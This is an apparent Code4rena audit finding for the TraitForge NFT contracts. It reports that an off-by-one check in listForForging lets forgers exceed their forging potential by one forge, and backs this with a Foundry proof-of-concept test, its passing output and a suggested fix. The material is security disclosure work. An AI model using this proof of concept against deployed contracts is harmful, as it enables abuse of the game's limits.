Lines of code

https://github.com/code-423n4/2024-07-traitforge/blob/279b2887e3d38bc219a05d332cbcb0655b2dc644/contracts/EntityForging/EntityForging.sol#L88 https://github.com/code-423n4/2024-07-traitforge/blob/main/contracts/EntityForging/EntityForging.sol#L133-L144

Vulnerability details

Impact

NFTs are divided between mergers and forgers, where forgers can list themselves in the forging marketplace, allowing mergers to forge with them. Each entity has a forging potential, which governs how many times it can forge. The potential is taken from the 5th digit of the NFT's entropy, which ranges from 0 to 9. Whenever a forge succeeds, both the merger and forger have their forging count increased by 1. Both mergers and forgers should be able to forge for a maximum of how much their forge potential is, however, due to improper forger count validation, forgers can exceed this an additional time.

Proof of Concept

When forgers are listed on the forging marketplace, their forging potential is validated to be either equal to or smaller than the NFT's forging count:

function listForForging(
    uint256 tokenId,
    uint256 fee
  ) public whenNotPaused nonReentrant {
 __SNIP__
    require(
@>      forgePotential > 0 && forgingCounts[tokenId] <= forgePotential, // allows an extra forge
      'Entity has reached its forging limit'
    );
 __SNIP__
  }

However, when the actual forging happens, the forger's forging count is increased, but it is not further validated to check if it does not go over the allowed limit, thus allowing forgers to forge for one extra time. mergers on the other hand are properly validated, allowing them to forge up to their limit.

For the following tests I have used Foundry following HardHat's foundry integration guide. The following tests can be run with forge test --mt testForgerCanForgeMoreThanMerger.

NB: All of the below tests use the same set-up shown in the Set up details tab. For the next coded PoC, I have properly set the owner of the Airdrop and EntityGenerator to be the NFT contract, to remove any owner issues, as described in one of my issues.

Set up

```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.25; import {Test} from "forge-std/Test.sol"; import {EntityTrading} from "../../contracts/EntityTrading/EntityTrading.sol"; import {TraitForgeNft} from "../../contracts/TraitForgeNft/TraitForgeNft.sol"; import {EntityForging} from "../../contracts/EntityForging/EntityForging.sol"; import {EntropyGenerator} from "../../contracts/EntropyGenerator/EntropyGenerator.sol"; import {NukeFund} from "../../contracts/NukeFund/NukeFund.sol"; import {Airdrop} from "../../contracts/Airdrop/Airdrop.sol"; import {Trait} from "../../contracts/Trait/Trait.sol"; import {console} from "forge-std/console.sol"; contract AuditTests is Test { EntityTrading public entityTrading; TraitForgeNft public nftContract; EntityForging public entityForging; EntropyGenerator public entropyGenerator; Airdrop public airdrop; Trait public trait; NukeFund public nukeFund; bytes32[] proof; address naruto = makeAddr("naruto"); address sasuke = makeAddr("sasuke"); address dev1 = makeAddr("dev1"); address dev2 = makeAddr("dev2"); function setUp() public { nftContract = new TraitForgeNft(); entityForging = new EntityForging(address(nftContract)); entityTrading = new EntityTrading(address(nftContract)); trait = new Trait("Trait", "TRT", 18, 1000000 ether); trait.transfer(msg.sender, 1000000 ether); airdrop = new Airdrop(address(nftContract)); vm.prank(address(nftContract)); airdrop.setTraitToken(address(trait)); entropyGenerator = new EntropyGenerator(address(nftContract)); vm.startPrank(address(nftContract)); entropyGenerator.writeEntropyBatch1(); entropyGenerator.writeEntropyBatch2(); entropyGenerator.writeEntropyBatch3(); vm.stopPrank(); nukeFund = new NukeFund(address(nftContract), address(airdrop), payable(dev1), payable(dev2)); entityTrading.setNukeFundAddress(payable(address(nukeFund))); nftContract.setEntityForgingContract(address(entityForging)); nftContract.setEntropyGenerator(address(entropyGenerator)); nftContract.setAirdropContract(address(airdrop)); vm.deal(naruto, 10000000 ether); vm.deal(sasuke, 10000000 ether); // Warp for 3 days to remove whitelist check vm.warp(3 days); } } ```

Forgers exceed forging potential

```solidity function testForgerCanForgeMoreThanMerger() public { vm.prank(naruto); nftContract.mintToken{value: 1 ether}(proof); vm.prank(naruto); nftContract.mintToken{value: 1 ether}(proof); vm.prank(naruto); nftContract.mintToken{value: 1 ether}(proof); vm.prank(sasuke); nftContract.mintToken{value: 1 ether}(proof); vm.prank(naruto); nftContract.mintToken{value: 1 ether}(proof); uint8 narutoForgePotential = uint8((nftContract.getTokenEntropy(5) / 10) % 10); uint8 sasukeForgePotential = uint8((nftContract.getTokenEntropy(4) / 10) % 10); // Forger with forging potential assertTrue(nftContract.isForger(5)); assertGt(narutoForgePotential, 0); // Merger with no forging potential assertFalse(nftContract.isForger(4)); assertGt(sasukeForgePotential, 0); uint256 counter = 0; uint8 narutoForgeCountBefore = entityForging.forgingCounts(5); assertLt(narutoForgeCountBefore, narutoForgePotential); while (counter <= 7) { vm.prank(naruto); entityForging.listForForging(5, 0.01 ether); vm.prank(sasuke); entityForging.forgeWithListed{value: 0.01 ether}(5, 4); counter++; } uint8 narutoForgeCountAfter = entityForging.forgingCounts(5); // Naruto has exceeded his forging potential assertGt(narutoForgeCountAfter, narutoForgePotential); uint8 sasukeForgeCount = entityForging.forgingCounts(4); assertLt(sasukeForgeCount, sasukeForgePotential); // Create some more forgers to show that Sasuke cannot exceed his potential vm.prank(naruto); nftContract.mintToken{value: 1 ether}(proof); // 14 vm.prank(naruto); nftContract.mintToken{value: 1 ether}(proof); // 15 vm.prank(naruto); nftContract.mintToken{value: 1 ether}(proof); // 16 vm.prank(naruto); nftContract.mintToken{value: 1 ether}(proof); // 17 vm.prank(naruto); nftContract.mintToken{value: 1 ether}(proof); // 18 vm.prank(naruto); nftContract.mintToken{value: 1 ether}(proof); // 19 vm.prank(naruto); nftContract.mintToken{value: 1 ether}(proof); // 20 assertTrue(nftContract.isForger(20)); assertGt(uint8((nftContract.getTokenEntropy(20) / 10) % 10), 0); vm.prank(naruto); entityForging.listForForging(20, 0.01 ether); vm.prank(sasuke); entityForging.forgeWithListed{value: 0.01 ether}(20, 4); // Sasuke reaches his forging potential sasukeForgeCount = entityForging.forgingCounts(4); assertEq(sasukeForgeCount, sasukeForgePotential); vm.prank(naruto); entityForging.listForForging(20, 0.01 ether); vm.prank(sasuke); vm.expectRevert("forgePotential insufficient"); entityForging.forgeWithListed{value: 0.01 ether}(20, 4); } ``` ```bash Ran 1 test for test/unit/AuditTests.t.sol:AuditTests [PASS] testForgerCanForgeMoreThanMerger() (gas: 6334228) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.87ms (2.78ms CPU time) ```

Tools Used

Manual review + Foundry

Recommended Mitigation Steps

Set the forge potential check in the EntityForging::listForForging(...) to be < instead of <=.

@@ -85,7 +85,7 @@ contract EntityForging is IEntityForging, ReentrancyGuard, Ownable, Pausable {
     uint256 entropy = nftContract.getTokenEntropy(tokenId); // Retrieve entropy for tokenId
     uint8 forgePotential = uint8((entropy / 10) % 10); // Extract the 5th digit from the entropy
     require(
-      forgePotential > 0 && forgingCounts[tokenId] <= forgePotential,
+      forgePotential > 0 && forgingCounts[tokenId] < forgePotential,
       'Entity has reached its forging limit'
     );

Assessed type

Invalid Validation

code-423n4 / 2024-07-traitforge-findings

Forgers have higher forging potential compared to mergers #793